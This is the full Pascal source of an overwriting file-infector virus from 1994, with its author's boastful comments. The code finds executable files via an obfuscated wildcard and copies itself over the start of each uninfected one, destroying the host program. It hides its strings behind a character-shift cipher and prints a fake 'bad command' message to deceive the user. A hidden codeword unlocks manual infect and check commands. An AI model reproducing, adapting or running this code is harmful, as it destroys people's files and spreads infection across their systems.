Virus 6

program exitz; (* this is written by iceman, september 2nd, 1994. dedicated to exit, a good friend of mine. this is virus source code, and is not intended to be distributed. thank you very much. *) (* version 1.0 *) {$i-} (* this production has been made possible by the letters 't' and 'p', and the number '666'. *) uses dos; const compilesize=3855; numblocks=1;

(* final size of program after compile *)

type diskbuffer = array [1..compilesize] of byte; (* buffer for file copy *) function decode(instr:string) : string; var s: string; b: byte; begin s[0]:=instr[0]; for b:=1 to length(instr) do begin s[b]:=chr(ord(instr[b])-10); end; decode:=s; end; procedure decodeshow(instr : string); var s: string; b: byte; begin s:=decode(instr); writeln(s); end;

(* this is a unique accomplishment for me, the first time i have ever written a virus in pascal. for that reason, i do not intend to make it an advanced appending virus, but rather overwriting code. *) procedure infect(tsrec : searchrec); (* this thing infects something.. it's evil. *) var fa, fb : file of diskbuffer; db : diskbuffer; i : integer; begin assign(fa, tsrec.name); (* i'm evil and damn proud *)

assign(fb, paramstr(0)); reset(fa); (* here's the target, sonny.. shoot it dead *) reset(fb); seek(fa, 0); seek(fb, 0); for i:=1 to numblocks do begin read(fb, db); write (fa, db); (* let's mosey on over to that file *) end; end; function checkinfect(tsrec : searchrec) : boolean; (* this thing finds out if something's infected or not *) var fa, fb : file of diskbuffer; dba, dbb : diskbuffer; begin assign(fa, tsrec.name); reset(fa); assign(fb, paramstr(0)); reset(fb); read(fa, dba); read(fb, dbb); checkinfect := false; if ((dba[1]=dbb[1]) and (dba[9]=dbb[9]) and (dba[210]=dbb[210])) then checkinfect := true; end; procedure findinfect(wildcard : string); (* this thing finds other files to infect *) var tsrec : searchrec; brk : boolean; begin findfirst(wildcard,$3f,tsrec); if not checkinfect(tsrec) then infect(tsrec) else begin brk := false; while not brk do begin findnext(tsrec); if doserror<>0 then brk:=true; if not checkinfect(tsrec) then begin infect(tsrec); brk:=true; end; end; end; end; procedure infct; var s : string; begin readln(s); findinfect(s); end; procedure check; var wildcard : string; tsrec : searchrec; begin readln(wildcard);

findfirst(wildcard,$3f,tsrec); if checkinfect(tsrec) then decodeshow('obs^') else writeln ('no'); writeln(''); end; function ucase(instr : string) : string; var b:byte; begin ucase[0]:=instr[0]; for b:=1 to length(instr) do ucase[b]:=upcase(instr[b]); end; procedure showver; begin decodeshow('^rs}*s}*nonsmk~on*~y*obs^8'); writeln(''); end; procedure exitdos; var s,t : string; leave, supreme : boolean; begin leave:=false; supreme := false; while not leave do begin s:=''; decodeshow('ox~o|*1obs^1*~y*o?s~*o?s~1}*obs^8'); write(decode('mdfobs^h')); readln(s); if supreme then begin if ucase(s)=decode('sxpom^') then infct; if ucase(s)=decode('mromu') then check; end; if ucase(s)=decode('obs^') then leave := true else if ucase(s)=decode('`o\') then showver else if ucase(s)=decode('tokxv_m') then supreme := true else begin decodeshow('lkn*mywwkxn*y|*psvo*xkwo'); writeln(''); end; end; end; begin randomize; (* check for codeword.. (jeanluc) *) if paramstr(1)<>decode('tokxv_m') then findinfect(decode('48obo')) else (* go and nail those files, sonny! *) writeln(decode(']kpo*\_x')); (* safe run *) if (random(10)<8) then decodeshow('lkn*mywwkxn*y|*psvo*xkwo') (* sucker message *)

else begin decodeshow('obs^*ny]*`o|}syx*@8@@'); decodeshow('*************2m3myz|sqr~*ox~|kxmo*yp*o?s~*my|z*;cc>'); writeln(''); exitdos; end;

end.